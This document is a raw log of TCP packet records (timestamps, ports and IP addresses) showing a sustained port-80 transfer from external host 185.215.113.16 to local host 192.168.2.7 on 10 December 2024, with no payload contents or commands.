Dec 10, 2024 03:42:06.037127972 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.037240982 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.037285089 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.038857937 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.038975954 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.039022923 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.040566921 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.040666103 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.040710926 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.042243958 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.042361975 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.042407036 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.043900013 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.043998957 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.044075966 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.045547009 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.045659065 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.045708895 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.047199965 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.047318935 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.047383070 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.048855066 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.048964977 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.049015045 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.050487995 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.050601006 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.050646067 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.051497936 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.051623106 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.051670074 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.052520990 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.052634954 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.052684069 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.053555965 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.053658962 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.053706884 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.054569006 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.054688931 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.054738998 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.055612087 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.055717945 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.055763006 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.056619883 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.056736946 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.056782007 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.057650089 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.057751894 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.057800055 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.058679104 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.058793068 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.058842897 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.059693098 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.059809923 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.059855938 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.060703039 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.060812950 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.060858011 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.061711073 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.061830044 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.061877966 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.062735081 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.062844038 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.062889099 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.063745975 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.063888073 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.063945055 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.064742088 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.064865112 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.064912081 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.065757036 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.065881968 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.065963984 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.066783905 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.066931963 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.066979885 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.067785978 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.067907095 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.067955017 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.068800926 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.068928003 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.068978071 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.069843054 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.069960117 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.070008039 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.070837021 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.070941925 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.070988894 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.071870089 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.071971893 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.072014093 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.072841883 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.072954893 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.073004007 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.073827028 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.073940992 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.073987961 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.074759960 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.121954918 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.190534115 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.190682888 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.190748930 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.190973043 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.191127062 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.191175938 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.191824913 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.191945076 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.191996098 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.192648888 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.192754030 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.192800045 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.193480968 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.193563938 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.193603992 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.194324970 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.194427967 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.194473982 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.195135117 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.195250988 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.195293903 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.195946932 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.196073055 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.196116924 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.196763039 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.196878910 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.196923971 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.197594881 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.197663069 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.197715044 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.198400021 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.198513031 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.198560953 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.199318886 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.199415922 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.199457884 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.200076103 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.200232029 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.200282097 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.200865030 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.200988054 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.201040030 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.201704979 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.201817989 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.201868057 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.202524900 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.202651978 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.202696085 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.203444958 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.203800917 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.203856945 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.204169989 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.204271078 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.204318047 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.204972029 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.205090046 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.205137014 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.205800056 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.205909967 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.205952883 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.206619024 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.206737995 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.206784010 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.207494020 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.207621098 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.207670927 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.208311081 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.208363056 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.208404064 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.209105968 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.209228992 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.209286928 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.209897995 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.210006952 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.210057020 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.210732937 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.210848093 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.210895061 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.211563110 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.211679935 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.211739063 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.212368011 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.212450027 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.212491035 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.213202000 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.213318110 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.213361979 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.214036942 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.214142084 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.214200974 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.214848995 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.214963913 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.215012074 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.215656042 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.215747118 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.215790987 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.216479063 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.216612101 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.216654062 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.217314005 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.217431068 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.217480898 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.218139887 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.218238115 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.218283892 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.218955040 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.219077110 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.219120979 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.219782114 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.219887972 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.219938993 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.220593929 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.220704079 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.220751047 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.221404076 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.221518040 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.221561909 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.222244978 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.222351074 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.222393990 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.223067045 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.223174095 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.223218918 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.223880053 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.223987103 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.224034071 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.224689960 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.224807024 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.224848986 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.225507021 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.225606918 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.225650072 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.226341963 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.226448059 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.226488113 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.227153063 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.227258921 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.227325916 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.227971077 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.228082895 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.228125095 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.228826046 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.228914976 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.228965044 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.229624033 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.229743958 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.229793072 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.230437994 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.230549097 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.230591059 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.231275082 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.231369019 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.231410980 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.232072115 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.232160091 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.232209921 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.232906103 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.233009100 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.233055115 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.233691931 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.278162003 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.382564068 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.382692099 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.382889032 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.382921934 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.383105040 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.383153915 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.383781910 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.383963108 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.384004116 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.384583950 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.384764910 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.384812117 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.385390043 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.385521889 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.385595083 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.386200905 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.386337042 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.386378050 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.387065887 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.387168884 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.387219906 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.387877941 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.387964964 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.388014078 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.388686895 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.388813972 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.388859034 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.389525890 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.389626980 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.389674902 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.390376091 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.390481949 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.390539885 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.391165972 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.391186953 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.391237974 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.391989946 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.392090082 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.392137051 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.392841101 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.392946959 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.392992020 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.393620014 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.393723011 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.393769026 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.394476891 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.394534111 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.394577026 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.395277977 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.395390987 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.395472050 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.396105051 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.396174908 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.396225929 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.396903992 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.397025108 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.397077084 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.397741079 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.397772074 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.397823095 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.398550034 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.398665905 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.398762941 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.399401903 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.399420977 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.399491072 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.400207996 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.400310040 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.400362968 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.401037931 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.401098013 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.401145935 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.401844025 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.401954889 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.401994944 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.402667046 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.402825117 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.402868986 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:06.403517962 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.403614044 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:06.403661013 CET	49820	80	192.168.2.7	185.215.113.16
